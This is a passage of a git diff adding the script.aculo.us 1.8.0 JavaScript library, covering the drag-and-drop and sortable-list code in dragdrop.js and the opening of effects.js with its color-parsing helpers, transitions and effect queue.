+      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
+      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
+      
+      Event.observe(document, "mouseup", this.eventMouseUp);
+      Event.observe(document, "mousemove", this.eventMouseMove);
+      Event.observe(document, "keypress", this.eventKeypress);
+    }
+    this.drags.push(draggable);
+  },
+  
+  unregister: function(draggable) {
+    this.drags = this.drags.reject(function(d) { return d==draggable });
+    if(this.drags.length == 0) {
+      Event.stopObserving(document, "mouseup", this.eventMouseUp);
+      Event.stopObserving(document, "mousemove", this.eventMouseMove);
+      Event.stopObserving(document, "keypress", this.eventKeypress);
+    }
+  },
+  
+  activate: function(draggable) {
+    if(draggable.options.delay) { 
+      this._timeout = setTimeout(function() { 
+        Draggables._timeout = null; 
+        window.focus(); 
+        Draggables.activeDraggable = draggable; 
+      }.bind(this), draggable.options.delay); 
+    } else {
+      window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
+      this.activeDraggable = draggable;
+    }
+  },
+  
+  deactivate: function() {
+    this.activeDraggable = null;
+  },
+  
+  updateDrag: function(event) {
+    if(!this.activeDraggable) return;
+    var pointer = [Event.pointerX(event), Event.pointerY(event)];
+    // Mozilla-based browsers fire successive mousemove events with
+    // the same coordinates, prevent needless redrawing (moz bug?)
+    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
+    this._lastPointer = pointer;
+    
+    this.activeDraggable.updateDrag(event, pointer);
+  },
+  
+  endDrag: function(event) {
+    if(this._timeout) { 
+      clearTimeout(this._timeout); 
+      this._timeout = null; 
+    }
+    if(!this.activeDraggable) return;
+    this._lastPointer = null;
+    this.activeDraggable.endDrag(event);
+    this.activeDraggable = null;
+  },
+  
+  keyPress: function(event) {
+    if(this.activeDraggable)
+      this.activeDraggable.keyPress(event);
+  },
+  
+  addObserver: function(observer) {
+    this.observers.push(observer);
+    this._cacheObserverCallbacks();
+  },
+  
+  removeObserver: function(element) {  // element instead of observer fixes mem leaks
+    this.observers = this.observers.reject( function(o) { return o.element==element });
+    this._cacheObserverCallbacks();
+  },
+  
+  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
+    if(this[eventName+'Count'] > 0)
+      this.observers.each( function(o) {
+        if(o[eventName]) o[eventName](eventName, draggable, event);
+      });
+    if(draggable.options[eventName]) draggable.options[eventName](draggable, event);
+  },
+  
+  _cacheObserverCallbacks: function() {
+    ['onStart','onEnd','onDrag'].each( function(eventName) {
+      Draggables[eventName+'Count'] = Draggables.observers.select(
+        function(o) { return o[eventName]; }
+      ).length;
+    });
+  }
+}
+
+/*--------------------------------------------------------------------------*/
+
+var Draggable = Class.create({
+  initialize: function(element) {
+    var defaults = {
+      handle: false,
+      reverteffect: function(element, top_offset, left_offset) {
+        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
+        new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur,
+          queue: {scope:'_draggable', position:'end'}
+        });
+      },
+      endeffect: function(element) {
+        var toOpacity = Object.isNumber(element._opacity) ? element._opacity : 1.0;
+        new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, 
+          queue: {scope:'_draggable', position:'end'},
+          afterFinish: function(){ 
+            Draggable._dragging[element] = false 
+          }
+        }); 
+      },
+      zindex: 1000,
+      revert: false,
+      quiet: false,
+      scroll: false,
+      scrollSensitivity: 20,
+      scrollSpeed: 15,
+      snap: false,  // false, or xy or [x,y] or function(x,y){ return [x,y] }
+      delay: 0
+    };
+    
+    if(!arguments[1] || Object.isUndefined(arguments[1].endeffect))
+      Object.extend(defaults, {
+        starteffect: function(element) {
+          element._opacity = Element.getOpacity(element);
+          Draggable._dragging[element] = true;
+          new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); 
+        }
+      });
+    
+    var options = Object.extend(defaults, arguments[1] || { });
+
+    this.element = $(element);
+    
+    if(options.handle && Object.isString(options.handle))
+      this.handle = this.element.down('.'+options.handle, 0);
+    
+    if(!this.handle) this.handle = $(options.handle);
+    if(!this.handle) this.handle = this.element;
+    
+    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) {
+      options.scroll = $(options.scroll);
+      this._isScrollChild = Element.childOf(this.element, options.scroll);
+    }
+
+    Element.makePositioned(this.element); // fix IE    
+
+    this.options  = options;
+    this.dragging = false;   
+
+    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
+    Event.observe(this.handle, "mousedown", this.eventMouseDown);
+    
+    Draggables.register(this);
+  },
+  
+  destroy: function() {
+    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
+    Draggables.unregister(this);
+  },
+  
+  currentDelta: function() {
+    return([
+      parseInt(Element.getStyle(this.element,'left') || '0'),
+      parseInt(Element.getStyle(this.element,'top') || '0')]);
+  },
+  
+  initDrag: function(event) {
+    if(!Object.isUndefined(Draggable._dragging[this.element]) &&
+      Draggable._dragging[this.element]) return;
+    if(Event.isLeftClick(event)) {    
+      // abort on form elements, fixes a Firefox issue
+      var src = Event.element(event);
+      if((tag_name = src.tagName.toUpperCase()) && (
+        tag_name=='INPUT' ||
+        tag_name=='SELECT' ||
+        tag_name=='OPTION' ||
+        tag_name=='BUTTON' ||
+        tag_name=='TEXTAREA')) return;
+        
+      var pointer = [Event.pointerX(event), Event.pointerY(event)];
+      var pos     = Position.cumulativeOffset(this.element);
+      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
+      
+      Draggables.activate(this);
+      Event.stop(event);
+    }
+  },
+  
+  startDrag: function(event) {
+    this.dragging = true;
+    if(!this.delta)
+      this.delta = this.currentDelta();
+    
+    if(this.options.zindex) {
+      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
+      this.element.style.zIndex = this.options.zindex;
+    }
+    
+    if(this.options.ghosting) {
+      this._clone = this.element.cloneNode(true);
+      this.element._originallyAbsolute = (this.element.getStyle('position') == 'absolute');
+      if (!this.element._originallyAbsolute)
+        Position.absolutize(this.element);
+      this.element.parentNode.insertBefore(this._clone, this.element);
+    }
+    
+    if(this.options.scroll) {
+      if (this.options.scroll == window) {
+        var where = this._getWindowScroll(this.options.scroll);
+        this.originalScrollLeft = where.left;
+        this.originalScrollTop = where.top;
+      } else {
+        this.originalScrollLeft = this.options.scroll.scrollLeft;
+        this.originalScrollTop = this.options.scroll.scrollTop;
+      }
+    }
+    
+    Draggables.notify('onStart', this, event);
+        
+    if(this.options.starteffect) this.options.starteffect(this.element);
+  },
+  
+  updateDrag: function(event, pointer) {
+    if(!this.dragging) this.startDrag(event);
+    
+    if(!this.options.quiet){
+      Position.prepare();
+      Droppables.show(pointer, this.element);
+    }
+    
+    Draggables.notify('onDrag', this, event);
+    
+    this.draw(pointer);
+    if(this.options.change) this.options.change(this);
+    
+    if(this.options.scroll) {
+      this.stopScrolling();
+      
+      var p;
+      if (this.options.scroll == window) {
+        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
+      } else {
+        p = Position.page(this.options.scroll);
+        p[0] += this.options.scroll.scrollLeft + Position.deltaX;
+        p[1] += this.options.scroll.scrollTop + Position.deltaY;
+        p.push(p[0]+this.options.scroll.offsetWidth);
+        p.push(p[1]+this.options.scroll.offsetHeight);
+      }
+      var speed = [0,0];
+      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
+      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
+      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
+      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
+      this.startScrolling(speed);
+    }
+    
+    // fix AppleWebKit rendering
+    if(Prototype.Browser.WebKit) window.scrollBy(0,0);
+    
+    Event.stop(event);
+  },
+  
+  finishDrag: function(event, success) {
+    this.dragging = false;
+    
+    if(this.options.quiet){
+      Position.prepare();
+      var pointer = [Event.pointerX(event), Event.pointerY(event)];
+      Droppables.show(pointer, this.element);
+    }
+
+    if(this.options.ghosting) {
+      if (!this.element._originallyAbsolute)
+        Position.relativize(this.element);
+      delete this.element._originallyAbsolute;
+      Element.remove(this._clone);
+      this._clone = null;
+    }
+
+    var dropped = false; 
+    if(success) { 
+      dropped = Droppables.fire(event, this.element); 
+      if (!dropped) dropped = false; 
+    }
+    if(dropped && this.options.onDropped) this.options.onDropped(this.element);
+    Draggables.notify('onEnd', this, event);
+
+    var revert = this.options.revert;
+    if(revert && Object.isFunction(revert)) revert = revert(this.element);
+    
+    var d = this.currentDelta();
+    if(revert && this.options.reverteffect) {
+      if (dropped == 0 || revert != 'failure')
+        this.options.reverteffect(this.element,
+          d[1]-this.delta[1], d[0]-this.delta[0]);
+    } else {
+      this.delta = d;
+    }
+
+    if(this.options.zindex)
+      this.element.style.zIndex = this.originalZ;
+
+    if(this.options.endeffect) 
+      this.options.endeffect(this.element);
+      
+    Draggables.deactivate(this);
+    Droppables.reset();
+  },
+  
+  keyPress: function(event) {
+    if(event.keyCode!=Event.KEY_ESC) return;
+    this.finishDrag(event, false);
+    Event.stop(event);
+  },
+  
+  endDrag: function(event) {
+    if(!this.dragging) return;
+    this.stopScrolling();
+    this.finishDrag(event, true);
+    Event.stop(event);
+  },
+  
+  draw: function(point) {
+    var pos = Position.cumulativeOffset(this.element);
+    if(this.options.ghosting) {
+      var r   = Position.realOffset(this.element);
+      pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY;
+    }
+    
+    var d = this.currentDelta();
+    pos[0] -= d[0]; pos[1] -= d[1];
+    
+    if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) {
+      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
+      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
+    }
+    
+    var p = [0,1].map(function(i){ 
+      return (point[i]-pos[i]-this.offset[i]) 
+    }.bind(this));
+    
+    if(this.options.snap) {
+      if(Object.isFunction(this.options.snap)) {
+        p = this.options.snap(p[0],p[1],this);
+      } else {
+      if(Object.isArray(this.options.snap)) {
+        p = p.map( function(v, i) {
+          return (v/this.options.snap[i]).round()*this.options.snap[i] }.bind(this))
+      } else {
+        p = p.map( function(v) {
+          return (v/this.options.snap).round()*this.options.snap }.bind(this))
+      }
+    }}
+    
+    var style = this.element.style;
+    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
+      style.left = p[0] + "px";
+    if((!this.options.constraint) || (this.options.constraint=='vertical'))
+      style.top  = p[1] + "px";
+    
+    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
+  },
+  
+  stopScrolling: function() {
+    if(this.scrollInterval) {
+      clearInterval(this.scrollInterval);
+      this.scrollInterval = null;
+      Draggables._lastScrollPointer = null;
+    }
+  },
+  
+  startScrolling: function(speed) {
+    if(!(speed[0] || speed[1])) return;
+    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
+    this.lastScrolled = new Date();
+    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
+  },
+  
+  scroll: function() {
+    var current = new Date();
+    var delta = current - this.lastScrolled;
+    this.lastScrolled = current;
+    if(this.options.scroll == window) {
+      with (this._getWindowScroll(this.options.scroll)) {
+        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
+          var d = delta / 1000;
+          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
+        }
+      }
+    } else {
+      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
+      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
+    }
+    
+    Position.prepare();
+    Droppables.show(Draggables._lastPointer, this.element);
+    Draggables.notify('onDrag', this);
+    if (this._isScrollChild) {
+      Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
+      Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
+      Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
+      if (Draggables._lastScrollPointer[0] < 0)
+        Draggables._lastScrollPointer[0] = 0;
+      if (Draggables._lastScrollPointer[1] < 0)
+        Draggables._lastScrollPointer[1] = 0;
+      this.draw(Draggables._lastScrollPointer);
+    }
+    
+    if(this.options.change) this.options.change(this);
+  },
+  
+  _getWindowScroll: function(w) {
+    var T, L, W, H;
+    with (w.document) {
+      if (w.document.documentElement && documentElement.scrollTop) {
+        T = documentElement.scrollTop;
+        L = documentElement.scrollLeft;
+      } else if (w.document.body) {
+        T = body.scrollTop;
+        L = body.scrollLeft;
+      }
+      if (w.innerWidth) {
+        W = w.innerWidth;
+        H = w.innerHeight;
+      } else if (w.document.documentElement && documentElement.clientWidth) {
+        W = documentElement.clientWidth;
+        H = documentElement.clientHeight;
+      } else {
+        W = body.offsetWidth;
+        H = body.offsetHeight
+      }
+    }
+    return { top: T, left: L, width: W, height: H };
+  }
+});
+
+Draggable._dragging = { };
+
+/*--------------------------------------------------------------------------*/
+
+var SortableObserver = Class.create({
+  initialize: function(element, observer) {
+    this.element   = $(element);
+    this.observer  = observer;
+    this.lastValue = Sortable.serialize(this.element);
+  },
+  
+  onStart: function() {
+    this.lastValue = Sortable.serialize(this.element);
+  },
+  
+  onEnd: function() {
+    Sortable.unmark();
+    if(this.lastValue != Sortable.serialize(this.element))
+      this.observer(this.element)
+  }
+});
+
+var Sortable = {
+  SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/,
+  
+  sortables: { },
+  
+  _findRootElement: function(element) {
+    while (element.tagName.toUpperCase() != "BODY") {  
+      if(element.id && Sortable.sortables[element.id]) return element;
+      element = element.parentNode;
+    }
+  },
+
+  options: function(element) {
+    element = Sortable._findRootElement($(element));
+    if(!element) return;
+    return Sortable.sortables[element.id];
+  },
+  
+  destroy: function(element){
+    var s = Sortable.options(element);
+    
+    if(s) {
+      Draggables.removeObserver(s.element);
+      s.droppables.each(function(d){ Droppables.remove(d) });
+      s.draggables.invoke('destroy');
+      
+      delete Sortable.sortables[s.element.id];
+    }
+  },
+
+  create: function(element) {
+    element = $(element);
+    var options = Object.extend({ 
+      element:     element,
+      tag:         'li',       // assumes li children, override with tag: 'tagname'
+      dropOnEmpty: false,
+      tree:        false,
+      treeTag:     'ul',
+      overlap:     'vertical', // one of 'vertical', 'horizontal'
+      constraint:  'vertical', // one of 'vertical', 'horizontal', false
+      containment: element,    // also takes array of elements (or id's); or false
+      handle:      false,      // or a CSS class
+      only:        false,
+      delay:       0,
+      hoverclass:  null,
+      ghosting:    false,
+      quiet:       false, 
+      scroll:      false,
+      scrollSensitivity: 20,
+      scrollSpeed: 15,
+      format:      this.SERIALIZE_RULE,
+      
+      // these take arrays of elements or ids and can be 
+      // used for better initialization performance
+      elements:    false,
+      handles:     false,
+      
+      onChange:    Prototype.emptyFunction,
+      onUpdate:    Prototype.emptyFunction
+    }, arguments[1] || { });
+
+    // clear any old sortable with same element
+    this.destroy(element);
+
+    // build options for the draggables
+    var options_for_draggable = {
+      revert:      true,
+      quiet:       options.quiet,
+      scroll:      options.scroll,
+      scrollSpeed: options.scrollSpeed,
+      scrollSensitivity: options.scrollSensitivity,
+      delay:       options.delay,
+      ghosting:    options.ghosting,
+      constraint:  options.constraint,
+      handle:      options.handle };
+
+    if(options.starteffect)
+      options_for_draggable.starteffect = options.starteffect;
+
+    if(options.reverteffect)
+      options_for_draggable.reverteffect = options.reverteffect;
+    else
+      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
+        element.style.top  = 0;
+        element.style.left = 0;
+      };
+
+    if(options.endeffect)
+      options_for_draggable.endeffect = options.endeffect;
+
+    if(options.zindex)
+      options_for_draggable.zindex = options.zindex;
+
+    // build options for the droppables  
+    var options_for_droppable = {
+      overlap:     options.overlap,
+      containment: options.containment,
+      tree:        options.tree,
+      hoverclass:  options.hoverclass,
+      onHover:     Sortable.onHover
+    }
+    
+    var options_for_tree = {
+      onHover:      Sortable.onEmptyHover,
+      overlap:      options.overlap,
+      containment:  options.containment,
+      hoverclass:   options.hoverclass
+    }
+
+    // fix for gecko engine
+    Element.cleanWhitespace(element); 
+
+    options.draggables = [];
+    options.droppables = [];
+
+    // drop on empty handling
+    if(options.dropOnEmpty || options.tree) {
+      Droppables.add(element, options_for_tree);
+      options.droppables.push(element);
+    }
+
+    (options.elements || this.findElements(element, options) || []).each( function(e,i) {
+      var handle = options.handles ? $(options.handles[i]) :
+        (options.handle ? $(e).select('.' + options.handle)[0] : e); 
+      options.draggables.push(
+        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
+      Droppables.add(e, options_for_droppable);
+      if(options.tree) e.treeNode = element;
+      options.droppables.push(e);      
+    });
+    
+    if(options.tree) {
+      (Sortable.findTreeElements(element, options) || []).each( function(e) {
+        Droppables.add(e, options_for_tree);
+        e.treeNode = element;
+        options.droppables.push(e);
+      });
+    }
+
+    // keep reference
+    this.sortables[element.id] = options;
+
+    // for onupdate
+    Draggables.addObserver(new SortableObserver(element, options.onUpdate));
+
+  },
+
+  // return all suitable-for-sortable elements in a guaranteed order
+  findElements: function(element, options) {
+    return Element.findChildren(
+      element, options.only, options.tree ? true : false, options.tag);
+  },
+  
+  findTreeElements: function(element, options) {
+    return Element.findChildren(
+      element, options.only, options.tree ? true : false, options.treeTag);
+  },
+
+  onHover: function(element, dropon, overlap) {
+    if(Element.isParent(dropon, element)) return;
+
+    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
+      return;
+    } else if(overlap>0.5) {
+      Sortable.mark(dropon, 'before');
+      if(dropon.previousSibling != element) {
+        var oldParentNode = element.parentNode;
+        element.style.visibility = "hidden"; // fix gecko rendering
+        dropon.parentNode.insertBefore(element, dropon);
+        if(dropon.parentNode!=oldParentNode) 
+          Sortable.options(oldParentNode).onChange(element);
+        Sortable.options(dropon.parentNode).onChange(element);
+      }
+    } else {
+      Sortable.mark(dropon, 'after');
+      var nextElement = dropon.nextSibling || null;
+      if(nextElement != element) {
+        var oldParentNode = element.parentNode;
+        element.style.visibility = "hidden"; // fix gecko rendering
+        dropon.parentNode.insertBefore(element, nextElement);
+        if(dropon.parentNode!=oldParentNode) 
+          Sortable.options(oldParentNode).onChange(element);
+        Sortable.options(dropon.parentNode).onChange(element);
+      }
+    }
+  },
+  
+  onEmptyHover: function(element, dropon, overlap) {
+    var oldParentNode = element.parentNode;
+    var droponOptions = Sortable.options(dropon);
+        
+    if(!Element.isParent(dropon, element)) {
+      var index;
+      
+      var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only});
+      var child = null;
+            
+      if(children) {
+        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
+        
+        for (index = 0; index < children.length; index += 1) {
+          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
+            offset -= Element.offsetSize (children[index], droponOptions.overlap);
+          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
+            child = index + 1 < children.length ? children[index + 1] : null;
+            break;
+          } else {
+            child = children[index];
+            break;
+          }
+        }
+      }
+      
+      dropon.insertBefore(element, child);
+      
+      Sortable.options(oldParentNode).onChange(element);
+      droponOptions.onChange(element);
+    }
+  },
+
+  unmark: function() {
+    if(Sortable._marker) Sortable._marker.hide();
+  },
+
+  mark: function(dropon, position) {
+    // mark on ghosting only
+    var sortable = Sortable.options(dropon.parentNode);
+    if(sortable && !sortable.ghosting) return; 
+
+    if(!Sortable._marker) {
+      Sortable._marker = 
+        ($('dropmarker') || Element.extend(document.createElement('DIV'))).
+          hide().addClassName('dropmarker').setStyle({position:'absolute'});
+      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
+    }    
+    var offsets = Position.cumulativeOffset(dropon);
+    Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'});
+    
+    if(position=='after')
+      if(sortable.overlap == 'horizontal') 
+        Sortable._marker.setStyle({left: (offsets[0]+dropon.clientWidth) + 'px'});
+      else
+        Sortable._marker.setStyle({top: (offsets[1]+dropon.clientHeight) + 'px'});
+    
+    Sortable._marker.show();
+  },
+  
+  _tree: function(element, options, parent) {
+    var children = Sortable.findElements(element, options) || [];
+  
+    for (var i = 0; i < children.length; ++i) {
+      var match = children[i].id.match(options.format);
+
+      if (!match) continue;
+      
+      var child = {
+        id: encodeURIComponent(match ? match[1] : null),
+        element: element,
+        parent: parent,
+        children: [],
+        position: parent.children.length,
+        container: $(children[i]).down(options.treeTag)
+      }
+      
+      /* Get the element containing the children and recurse over it */
+      if (child.container)
+        this._tree(child.container, options, child)
+      
+      parent.children.push (child);
+    }
+
+    return parent; 
+  },
+
+  tree: function(element) {
+    element = $(element);
+    var sortableOptions = this.options(element);
+    var options = Object.extend({
+      tag: sortableOptions.tag,
+      treeTag: sortableOptions.treeTag,
+      only: sortableOptions.only,
+      name: element.id,
+      format: sortableOptions.format
+    }, arguments[1] || { });
+    
+    var root = {
+      id: null,
+      parent: null,
+      children: [],
+      container: element,
+      position: 0
+    }
+    
+    return Sortable._tree(element, options, root);
+  },
+
+  /* Construct a [i] index for a particular node */
+  _constructIndex: function(node) {
+    var index = '';
+    do {
+      if (node.id) index = '[' + node.position + ']' + index;
+    } while ((node = node.parent) != null);
+    return index;
+  },
+
+  sequence: function(element) {
+    element = $(element);
+    var options = Object.extend(this.options(element), arguments[1] || { });
+    
+    return $(this.findElements(element, options) || []).map( function(item) {
+      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
+    });
+  },
+
+  setSequence: function(element, new_sequence) {
+    element = $(element);
+    var options = Object.extend(this.options(element), arguments[2] || { });
+    
+    var nodeMap = { };
+    this.findElements(element, options).each( function(n) {
+        if (n.id.match(options.format))
+            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
+        n.parentNode.removeChild(n);
+    });
+   
+    new_sequence.each(function(ident) {
+      var n = nodeMap[ident];
+      if (n) {
+        n[1].appendChild(n[0]);
+        delete nodeMap[ident];
+      }
+    });
+  },
+  
+  serialize: function(element) {
+    element = $(element);
+    var options = Object.extend(Sortable.options(element), arguments[1] || { });
+    var name = encodeURIComponent(
+      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
+    
+    if (options.tree) {
+      return Sortable.tree(element, arguments[1]).children.map( function (item) {
+        return [name + Sortable._constructIndex(item) + "[id]=" + 
+                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
+      }).flatten().join('&');
+    } else {
+      return Sortable.sequence(element, arguments[1]).map( function(item) {
+        return name + "[]=" + encodeURIComponent(item);
+      }).join('&');
+    }
+  }
+}
+
+// Returns true if child is contained within element
+Element.isParent = function(child, element) {
+  if (!child.parentNode || child == element) return false;
+  if (child.parentNode == element) return true;
+  return Element.isParent(child.parentNode, element);
+}
+
+Element.findChildren = function(element, only, recursive, tagName) {   
+  if(!element.hasChildNodes()) return null;
+  tagName = tagName.toUpperCase();
+  if(only) only = [only].flatten();
+  var elements = [];
+  $A(element.childNodes).each( function(e) {
+    if(e.tagName && e.tagName.toUpperCase()==tagName &&
+      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
+        elements.push(e);
+    if(recursive) {
+      var grandchildren = Element.findChildren(e, only, recursive, tagName);
+      if(grandchildren) elements.push(grandchildren);
+    }
+  });
+
+  return (elements.length>0 ? elements.flatten() : []);
+}
+
+Element.offsetSize = function (element, type) {
+  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
+}
diff --git a/libjs/effects.js b/libjs/effects.js
new file mode 100644 (file)
index 0000000..27c2901
--- /dev/null
@@ -0,0 +1,1122 @@
+// script.aculo.us effects.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// Contributors:
+//  Justin Palmer (http://encytemedia.com/)
+//  Mark Pilgrim (http://diveintomark.org/)
+//  Martin Bialasinki
+// 
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/ 
+
+// converts rgb() and #xxx to #xxxxxx format,  
+// returns self (or first argument) if not convertable  
+String.prototype.parseColor = function() {  
+  var color = '#';
+  if (this.slice(0,4) == 'rgb(') {  
+    var cols = this.slice(4,this.length-1).split(',');  
+    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);  
+  } else {  
+    if (this.slice(0,1) == '#') {  
+      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();  
+      if (this.length==7) color = this.toLowerCase();  
+    }  
+  }  
+  return (color.length==7 ? color : (arguments[0] || this));  
+};
+
+/*--------------------------------------------------------------------------*/
+
+Element.collectTextNodes = function(element) {  
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue : 
+      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
+  }).flatten().join('');
+};
+
+Element.collectTextNodesIgnoreClass = function(element, className) {  
+  return $A($(element).childNodes).collect( function(node) {
+    return (node.nodeType==3 ? node.nodeValue : 
+      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ? 
+        Element.collectTextNodesIgnoreClass(node, className) : ''));
+  }).flatten().join('');
+};
+
+Element.setContentZoom = function(element, percent) {
+  element = $(element);  
+  element.setStyle({fontSize: (percent/100) + 'em'});   
+  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
+  return element;
+};
+
+Element.getInlineOpacity = function(element){
+  return $(element).style.opacity || '';
+};
+
+Element.forceRerendering = function(element) {
+  try {
+    element = $(element);
+    var n = document.createTextNode(' ');
+    element.appendChild(n);
+    element.removeChild(n);
+  } catch(e) { }
+};
+
+/*--------------------------------------------------------------------------*/
+
+var Effect = {
+  _elementDoesNotExistError: {
+    name: 'ElementDoesNotExistError',
+    message: 'The specified DOM element does not exist, but is required for this effect to operate'
+  },
+  Transitions: {
+    linear: Prototype.K,
+    sinoidal: function(pos) {
+      return (-Math.cos(pos*Math.PI)/2) + 0.5;
+    },
+    reverse: function(pos) {
+      return 1-pos;
+    },
+    flicker: function(pos) {
+      var pos = ((-Math.cos(pos*Math.PI)/4) + 0.75) + Math.random()/4;
+      return pos > 1 ? 1 : pos;
+    },
+    wobble: function(pos) {
+      return (-Math.cos(pos*Math.PI*(9*pos))/2) + 0.5;
+    },
+    pulse: function(pos, pulses) { 
+      pulses = pulses || 5; 
+      return (
+        ((pos % (1/pulses)) * pulses).round() == 0 ? 
+              ((pos * pulses * 2) - (pos * pulses * 2).floor()) : 
+          1 - ((pos * pulses * 2) - (pos * pulses * 2).floor())
+        );
+    },
+    spring: function(pos) { 
+      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6)); 
+    },
+    none: function(pos) {
+      return 0;
+    },
+    full: function(pos) {
+      return 1;
+    }
+  },
+  DefaultOptions: {
+    duration:   1.0,   // seconds
+    fps:        100,   // 100= assume 66fps max.
+    sync:       false, // true for combining
+    from:       0.0,
+    to:         1.0,
+    delay:      0.0,
+    queue:      'parallel'
+  },
+  tagifyText: function(element) {
+    var tagifyStyle = 'position:relative';
+    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';
+    
+    element = $(element);
+    $A(element.childNodes).each( function(child) {
+      if (child.nodeType==3) {
+        child.nodeValue.toArray().each( function(character) {
+          element.insertBefore(
+            new Element('span', {style: tagifyStyle}).update(
+              character == ' ' ? String.fromCharCode(160) : character), 
+              child);
+        });
+        Element.remove(child);
+      }
+    });
+  },
+  multiple: function(element, effect) {
+    var elements;
+    if (((typeof element == 'object') || 
+        Object.isFunction(element)) && 
+       (element.length))
+      elements = element;
+    else
+      elements = $(element).childNodes;
+      
+    var options = Object.extend({
+      speed: 0.1,
+      delay: 0.0
+    }, arguments[2] || { });
+    var masterDelay = options.delay;
+
+    $A(elements).each( function(element, index) {
+      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
+    });
+  },
+  PAIRS: {
+    'slide':  ['SlideDown','SlideUp'],
+    'blind':  ['BlindDown','BlindUp'],
+    'appear': ['Appear','Fade']
+  },
+  toggle: function(element, effect) {
+    element = $(element);
+    effect = (effect || 'appear').toLowerCase();
+    var options = Object.extend({
+      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
+    }, arguments[2] || { });
+    Effect[element.visible() ? 
+      Effect.PAIRS[effect][1] : Effect.PAIRS[effect][0]](element, options);
+  }
+};
+
+Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
+
+/* ------------- core effects ------------- */
+
+Effect.ScopedQueue = Class.create(Enumerable, {
+  initialize: function() {
+    this.effects  = [];
+    this.interval = null;    
+  },
+  _each: function(iterator) {
+    this.effects._each(iterator);
+  },
+  add: function(effect) {
+    var timestamp = new Date().getTime();
+    
+    var position = Object.isString(effect.options.queue) ? 
+      effect.options.queue : effect.options.queue.position;
+    
+    switch(position) {
+      case 'front':
+        // move unstarted effects after this effect  
+        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
+            e.startOn  += effect.finishOn;
+            e.finishOn += effect.finishOn;
+          });
+        break;
+      case 'with-last':
+        timestamp = this.effects.pluck('startOn').max() || timestamp;
+        break;
+      case 'end':
+        // start effect after last queued effect has finished
+        timestamp = this.effects.pluck('finishOn').max() || timestamp;
+        break;
+    }
+    
+    effect.startOn  += timestamp;
+    effect.finishOn += timestamp;
+
+    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
+      this.effects.push(effect);
+    
+    if (!this.interval)
